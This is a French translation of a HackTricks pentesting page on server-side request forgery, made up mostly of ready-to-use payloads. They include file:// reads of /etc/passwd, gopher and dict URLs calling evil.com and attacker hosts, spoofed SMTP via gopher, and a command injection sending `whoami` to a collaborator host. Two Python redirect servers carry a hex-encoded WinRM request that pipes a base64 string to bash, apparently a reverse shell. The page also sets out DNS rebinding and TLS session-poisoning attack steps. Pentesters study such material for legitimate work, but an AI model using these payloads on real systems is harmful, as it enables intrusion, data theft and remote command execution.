mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
337 lines
25 KiB
Markdown
337 lines
25 KiB
Markdown
# SSRF (Server Side Request Forgery)
|
|
|
|
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
La falsification de requêtes côté serveur (également connue sous le nom de SSRF) est une vulnérabilité de sécurité Web qui permet à un attaquant de **forcer l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire** choisi par l'attaquant. (À partir de [ici](https://portswigger.net/web-security/ssrf))
|
|
|
|
## Capture de SSRF
|
|
|
|
La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
|
|
|
|
* **Burpcollab**
|
|
* [**pingb**](http://pingb.in)
|
|
* [**canarytokens**](https://canarytokens.org/generate)
|
|
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
|
|
* [**http://webhook.site**](http://webhook.site)
|
|
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
|
|
|
## Contournement des domaines autorisés
|
|
|
|
Vous constaterez généralement que le SSRF ne fonctionne que dans **certains domaines ou URL autorisés**. Dans la page suivante, vous avez une **compilation de techniques pour essayer de contourner cette liste blanche** :
|
|
|
|
{% content-ref url="url-format-bypass.md" %}
|
|
[url-format-bypass.md](url-format-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Contournement via une redirection ouverte
|
|
|
|
Si le serveur est correctement protégé, vous pouvez **contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page Web**. Parce que la page Web permettra **SSRF vers le même domaine** et suivra probablement les **redirections**, vous pouvez exploiter la **redirection ouverte pour faire en sorte que le serveur accède à n'importe quelle ressource interne**.\
|
|
En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
|
|
|
## Protocoles
|
|
|
|
### file://
|
|
```
|
|
file:///etc/passwd
|
|
```
|
|
### dict://
|
|
|
|
Le schéma d'URL DICT est utilisé pour faire référence à des définitions ou des listes de mots disponibles en utilisant le protocole DICT :
|
|
```
|
|
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
|
|
ssrf.php?url=dict://attacker:11111/
|
|
```
|
|
### SFTP://
|
|
|
|
Un protocole réseau utilisé pour le transfert sécurisé de fichiers via shell sécurisé.
|
|
```
|
|
ssrf.php?url=sftp://evil.com:11111/
|
|
```
|
|
### TFTP://
|
|
|
|
Le protocole de transfert de fichiers trivial, fonctionne sur UDP.
|
|
```
|
|
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
|
|
```
|
|
### LDAP://
|
|
|
|
Lightweight Directory Access Protocol. Il s'agit d'un protocole d'application utilisé sur un réseau IP pour gérer et accéder au service d'information de répertoire distribué.
|
|
```
|
|
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
|
|
```
|
|
### Gopher://
|
|
|
|
En utilisant ce protocole, vous pouvez spécifier l'**IP, le port et les octets** que vous voulez que le serveur **envoie**. Ensuite, vous pouvez essentiellement exploiter une SSRF pour **communiquer avec n'importe quel serveur TCP** (mais vous devez savoir comment parler au service en premier lieu).\
|
|
Heureusement, vous pouvez utiliser [Gopherus](https://github.com/tarunkant/Gopherus) pour créer des charges utiles pour plusieurs services. De plus, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) peut être utilisé pour créer des charges utiles _gopher_ pour les services _Java RMI_.
|
|
|
|
**Gopher smtp**
|
|
```
|
|
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
|
|
will make a request like
|
|
HELO localhost
|
|
MAIL FROM:<hacker@site.com>
|
|
RCPT TO:<victim@site.com>
|
|
DATA
|
|
From: [Hacker] <hacker@site.com>
|
|
To: <victime@site.com>
|
|
Date: Tue, 15 Sep 2017 17:20:26 -0400
|
|
Subject: Ah Ah AHYou didn't say the magic word !
|
|
.
|
|
QUIT
|
|
```
|
|
**Gopher HTTP**
|
|
|
|
Le protocole Gopher est un protocole de communication de niveau application conçu pour la récupération de documents dans un réseau distribué. Il a été largement utilisé dans les années 1990, mais a été remplacé par le World Wide Web. Cependant, il est encore utilisé dans certains cas, notamment pour les sites Web minimalistes.
|
|
|
|
Gopher HTTP est une technique qui permet d'exploiter les vulnérabilités SSRF en utilisant le protocole Gopher pour effectuer des requêtes HTTP. Cette technique est utile lorsque le serveur cible bloque les requêtes HTTP sortantes, mais autorise les connexions sortantes sur le port 70 (le port par défaut pour le protocole Gopher).
|
|
|
|
Pour utiliser cette technique, vous devez encoder la requête HTTP dans une URL Gopher valide et l'envoyer au serveur cible via une vulnérabilité SSRF. Le serveur cible interprétera la requête HTTP comme une requête Gopher et la transmettra au serveur distant via le port 70.
|
|
|
|
Voici un exemple de requête HTTP encodée en URL Gopher :
|
|
|
|
```
|
|
gopher://127.0.0.1:70/_GET%20http://example.com/HTTP/1.1%0D%0AHost:%20example.com%0D%0A%0D%0A
|
|
```
|
|
|
|
Dans cet exemple, la requête HTTP GET est envoyée au serveur distant example.com via le port 80. La requête est encodée en URL Gopher et envoyée au serveur cible via une vulnérabilité SSRF.
|
|
|
|
Il est important de noter que cette technique peut être détectée et bloquée par certains pare-feu et systèmes de détection d'intrusion. Il est donc important de tester cette technique dans un environnement contrôlé avant de l'utiliser en production.
|
|
```bash
|
|
#For new lines you can use %0A, %0D%0A
|
|
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
|
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
|
```
|
|
**Gopher SMTP - Connexion de retour à 1337**
|
|
|
|
{% code title="redirect.php" %}
|
|
```php
|
|
<?php
|
|
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
|
?>Now query it.
|
|
https://example.com/?q=http://evil.com/redirect.php.
|
|
```
|
|
{% endcode %}
|
|
|
|
### SMTP
|
|
|
|
À partir de [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
|
|
1\. se connecter avec SSRF sur smtp localhost:25\
|
|
2\. à partir de la première ligne, obtenir le nom de domaine interne 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
|
|
3\. rechercher[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)sur github, trouver des sous-domaines\
|
|
4\. se connecter
|
|
|
|
### Curl URL globbing - Bypass WAF
|
|
|
|
Si le SSRF est exécuté par **curl**, curl a une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans cette [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour une **traversée de chemin via le protocole `file`**:
|
|
```
|
|
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
|
```
|
|
## Capturer les requêtes SSRF
|
|
|
|
* Burp Collaborator
|
|
* [http://requestrepo.com/](http://requestrepo.com/)
|
|
* [https://app.interactsh.com/](https://app.interactsh.com/)
|
|
|
|
## SSRF via l'en-tête Referrer
|
|
|
|
Certaines applications utilisent des logiciels d'analyse côté serveur qui suivent les visiteurs. Ce logiciel enregistre souvent l'en-tête Referrer dans les requêtes, car cela est particulièrement intéressant pour suivre les liens entrants. Souvent, le logiciel d'analyse visitera en fait toute URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancre utilisé dans les liens entrants. Par conséquent, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.\
|
|
Pour découvrir ce type de vulnérabilités "cachées", vous pouvez utiliser le plugin "**Collaborator Everywhere**" de Burp.
|
|
|
|
## SSRF via les données SNI du certificat
|
|
|
|
La configuration incorrecte la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci :
|
|
```nginx
|
|
stream {
|
|
server {
|
|
listen 443;
|
|
resolver 127.0.0.11;
|
|
proxy_pass $ssl_preread_server_name:443;
|
|
ssl_preread on;
|
|
}
|
|
}
|
|
```
|
|
Ici, la valeur du champ SNI est utilisée directement comme adresse du backend.
|
|
|
|
Avec cette configuration non sécurisée, nous pouvons **exploiter la vulnérabilité SSRF simplement en spécifiant l'adresse IP ou le nom de domaine souhaité dans le champ SNI**. Par exemple, la commande suivante forcerait Nginx à se connecter à _internal.host.com_:
|
|
```bash
|
|
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
|
|
```
|
|
## [Téléchargement de fichiers Wget](../file-upload/#wget-file-upload-ssrf-trick)
|
|
|
|
## SSRF avec injection de commande
|
|
|
|
Il pourrait être intéressant d'essayer une charge utile comme : `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
|
|
|
## Rendu de PDF
|
|
|
|
Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez **insérer du JS qui sera exécuté par le créateur de PDF** lui-même (le serveur) lors de la création du PDF et vous pourrez abuser d'un SSRF. [**Trouvez plus d'informations ici**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
|
|
|
## De SSRF à DoS
|
|
|
|
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF des sessions.
|
|
|
|
## Fonctions PHP SSRF
|
|
|
|
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
|
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Redirection SSRF vers Gopher
|
|
|
|
Pour certaines exploitations, vous pourriez avoir besoin d'**envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Ici, vous avez différents codes python pour répondre avec une redirection :
|
|
```python
|
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
import ssl
|
|
|
|
class MainHandler(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
print("GET")
|
|
self.send_response(301)
|
|
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
|
|
self.end_headers()
|
|
|
|
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
|
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
|
httpd.serve_forever()
|
|
```
|
|
|
|
```python
|
|
from flask import Flask, redirect
|
|
from urllib.parse import quote
|
|
app = Flask(__name__)
|
|
|
|
@app.route('/')
|
|
def root():
|
|
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
|
|
|
|
if __name__ == "__main__":
|
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|
```
|
|
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
\
|
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
|
Obtenez l'accès aujourd'hui :
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Contournement de CORS/SOP avec DNS Rebidding
|
|
|
|
Si vous avez des **problèmes** pour **exfiltrer du contenu à partir d'une adresse IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation :
|
|
|
|
{% content-ref url="../cors-bypass.md" %}
|
|
[cors-bypass.md](../cors-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### DNS Rebidding automatisé
|
|
|
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour lier l'adresse IP du serveur d'attaque au nom DNS de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
|
|
|
Consultez également le **serveur public en cours d'exécution** sur [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)\*\*\*\*
|
|
|
|
## DNS Rebidding + ID de session TLS/Ticket de session
|
|
|
|
Exigences :
|
|
|
|
* **SSRF**
|
|
* **Sessions TLS sortantes**
|
|
* **Des choses sur des ports locaux**
|
|
|
|
Attaque :
|
|
|
|
1. Demandez à l'utilisateur/bot d'accéder à un domaine contrôlé par l'attaquant.
|
|
2. Le **TTL** du **DNS** est de **0** sec (de sorte que la victime vérifiera l'adresse IP du domaine à nouveau bientôt).
|
|
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du ticket de session**.
|
|
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but de cela est de faire accéder l'utilisateur/bot au domaine jusqu'à ce qu'il effectue **à nouveau** une **demande DNS** du domaine.
|
|
5. Dans la demande DNS, une adresse IP **privée** est donnée **maintenant** (127.0.0.1, par exemple).
|
|
6. L'utilisateur/bot essaiera de **rétablir la connexion TLS** et pour ce faire, il enverra l'**ID de session/Ticket ID** (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'**utilisateur/bot de s'attaquer lui-même**.
|
|
|
|
Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (_memcache_), vous devez faire établir à la victime la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
|
|
Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
|
Pour **plus d'informations**, consultez la présentation où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
|
|
|
## SSRF aveugle
|
|
|
|
La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la demande SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.
|
|
|
|
### SSRF basé sur le temps
|
|
|
|
**En vérifiant l'heure** des réponses du serveur, il pourrait être **possible de savoir si une ressource existe ou non** (peut-être que l'accès à une ressource existante prend plus de temps que l'accès à une ressource qui n'existe pas).
|
|
|
|
## Exploitation de SSRF dans le cloud
|
|
|
|
Si vous trouvez une vulnérabilité SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez être en mesure d'obtenir des informations intéressantes sur l'environnement cloud et même des informations d'identification :
|
|
|
|
{% content-ref url="cloud-ssrf.md" %}
|
|
[cloud-ssrf.md](cloud-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Plateformes vulnérables à SSRF
|
|
|
|
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :
|
|
|
|
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
|
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Outils
|
|
|
|
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
|
|
|
Outil pour détecter et exploiter les vulnérabilités SSRF
|
|
|
|
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
|
|
|
* [Article de blog sur Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
|
|
|
Cet outil génère des charges utiles Gopher pour :
|
|
|
|
* MySQL
|
|
* PostgreSQL
|
|
* FastCGI
|
|
* Redis
|
|
* Zabbix
|
|
* Memcache
|
|
|
|
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
* [Article de blog sur l'utilisation de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
|
|
|
_remote-method-guesser_ est un scanner de vulnérabilité _Java RMI_ qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités _Java RMI_ courantes. La plupart des opérations disponibles prennent en charge l'option `--ssrf`, pour générer une charge utile _SSRF_ pour l'opération demandée. Avec l'option `--gopher`, des charges utiles _gopher_ prêtes à l'emploi peuvent être générées directement.
|
|
|
|
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
|
|
|
SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP client à travers des serveurs HTTP vulnérables à la falsification de requêtes côté serveur (SSRF).
|
|
|
|
### Pour pratiquer
|
|
|
|
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
|
|
|
## Références
|
|
|
|
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
|
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦
|